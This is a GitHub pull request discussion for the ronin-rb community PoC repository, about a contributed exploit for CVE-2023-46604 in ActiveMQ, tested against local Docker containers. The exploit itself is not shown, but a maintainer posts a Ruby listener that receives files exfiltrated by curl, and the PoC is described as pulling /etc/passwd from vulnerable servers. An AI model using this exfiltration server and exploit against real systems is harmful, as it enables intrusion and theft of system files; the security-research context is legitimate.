ronin-rb / community-pocs

A repository of PoCs for ronin-exploits
https://ronin-rb.dev
GNU General Public License v3.0
0 stars 2 forks source link

POC exploit for CVE-2023-46604 #10

Closed flavorjones closed 3 months ago

flavorjones commented 4 months ago

Feedback welcome, I'm not sure what's expected of a contributed POC.

As mentioned in the comments, I tested this against local docker containers. Vulnerable versions are correctly detected with perform_test. Vulnerable servers connect to the embedded web server for the injection and to exfiltrate /etc/passwd as a demonstration.

Closes #7

postmodern commented 4 months ago

@flavorjones also where did you get param :foo, type: Class, ... from? I suspect there's some old documentation that still mentions the "old style" of defining params before I changed it to param :foo, Class, ..., but I can't find where it still mentions type:.

postmodern commented 4 months ago

I'm also curious if this successfully runs against the vulhub activemq docker-compose file for CVE-2023-46604.

flavorjones commented 4 months ago

Thanks for the review! I'll address or reply to the review comments today.

Re: your other questions ...

I like the idea of a single file HTTP exfil payload, and think we should extract that into a Ronin::Payloads::Mixins::WebServer, Ronin::Payloads::Mixins::HTTPExfil, or Ronin::Exploits::Mixins::WebServer, Ronin::Exploits::Mixins::HTTPExfil module

Yeah, that makes sense and I'm happy to do that work as a separate commit in this PR if you're OK with it (else I can open a separate PR).

where did you get param :foo, type: Class, ... from? I suspect there's some old documentation ...

Honestly I have no idea. I had like ten web pages open (as well as an older version of Ronin on disk) trying to get a first draft working, and ended up with this syntax. Maybe I imagined it?

I'm also curious if this successfully runs against the vulhub activemq docker-compose file for CVE-2023-46604.

Yes! As long as I add host networking to the docker-compose.yml file (so the AMQ server can connect back to the web server):

diff --git a/activemq/CVE-2023-46604/docker-compose.yml b/activemq/CVE-2023-46604/docker-compose.yml
index 1da45062..b907c6d8 100644
--- a/activemq/CVE-2023-46604/docker-compose.yml
+++ b/activemq/CVE-2023-46604/docker-compose.yml
@@ -6,3 +6,4 @@ services:
     - "61616:61616"
     - "8161:8161"
     - "5005:5005"
+   network_mode: host
flavorjones commented 4 months ago

I've force-pushed a bunch of changes, and resolved the conversations that I address with those changes.

postmodern commented 4 months ago

@flavorjones this is probably pretty ugly compared to your code, but I think I can simplify the curl exfil web server using TCPServer and really bad HTTP parsing logic.

require 'socket'

CRLF = "\r\n".b
HEADER_SEPARATOR = CRLF * 2
BAD_REQUEST = [
  'HTTP/1.0 400 Bad Request',
  'Content-Type: text/html',
  'Connection: close',
  ''
].join(CRLF) + CRLF

OK = [
  'HTTP/1.1 200 OK',
  'Content-Type: text/html',
  'Content-Length: 0',
  'Connection: close',
  ''
].join(CRLF) + CRLF

host = '0.0.0.0'
port = ARGV[0].to_i

server = TCPServer.new(host,port)

loop do
  connection = server.accept

  request_line = connection.gets(CRLF)
  request_method, path, http_version = request_line.split(' ',3)

  unless path == '/exfil'
    connection.write(BAD_REQUEST)
    connection.close
    next
  end

  headers = {}

  until (line = connection.gets(CRLF, chomp: true)).empty?
    name, value = line.split(': ',2)
    headers[name] = value
  end

  content_length = if headers['Content-Length']
                     headers['Content-Length'].to_i
                   end

  file = connection.read(content_length)

  connection.write(OK)
  connection.close

  puts "[+] Received file:"
  puts file
end
flavorjones commented 3 months ago

@postmodern I've force-pushed a bunch of changes, and resolved the conversations that I address with those changes.

I'm open to pulling in your TCPServer implementation, but I personally think it's less obvious what's going on when it's imperative code. I admit the Ronin::Web implementation is not extremely obvious, though, and so I don't feel strongly either way. Your call!

Also, I haven't done the payload work you suggested above yet simply because I haven't had time to dig in on it yet. I should be able to get to it next week!

postmodern commented 3 months ago

@postmodern I've force-pushed a bunch of changes, and resolved the conversations that I address with those changes.

I'm open to pulling in your TCPServer implementation, but I personally think it's less obvious what's going on when it's imperative code. I admit the Ronin::Web implementation is not extremely obvious, though, and so I don't feel strongly either way. Your call!

Also, I haven't done the payload work you suggested above yet simply because I haven't had time to dig in on it yet. I should be able to get to it next week!

@flavorjones excellent! Ultimately I will probably add a Ronin::Exploits::Mixins::WebServer which should handle most of the launch and cleanup code. Maybe something like:

def web_server
  @web_server ||= Class.new(Ronin::Web::Server::Base).tap do |server|
    server.set :exploit, self
  end
  yield @web_server
end

def perform_launch
  @web_server.run!(background: true)
  super
end

def perform_cleanup
  super
  @web_server.stop!
end

There's also some deep questions about whether the web server should be fully separate from the default Ronin::Web::Server instance, or co-mingle with whatever other routes have been defined in the default instance.

Until then we can use your code just to have something that works. Once there is a Ronin::Exploits::Mixins::WebServer module that handles the web server code (or a Ronin::Payloads payload which handles curl single-file exfilitrations), I'll come back and make the necessary edits and bump the ronin-exploits dependency in the Gemfile.

postmodern commented 3 months ago

@flavorjones going to add the GPLv3.0+ license per #12. Hope that's OK with you?

flavorjones commented 3 months ago

Totally fine!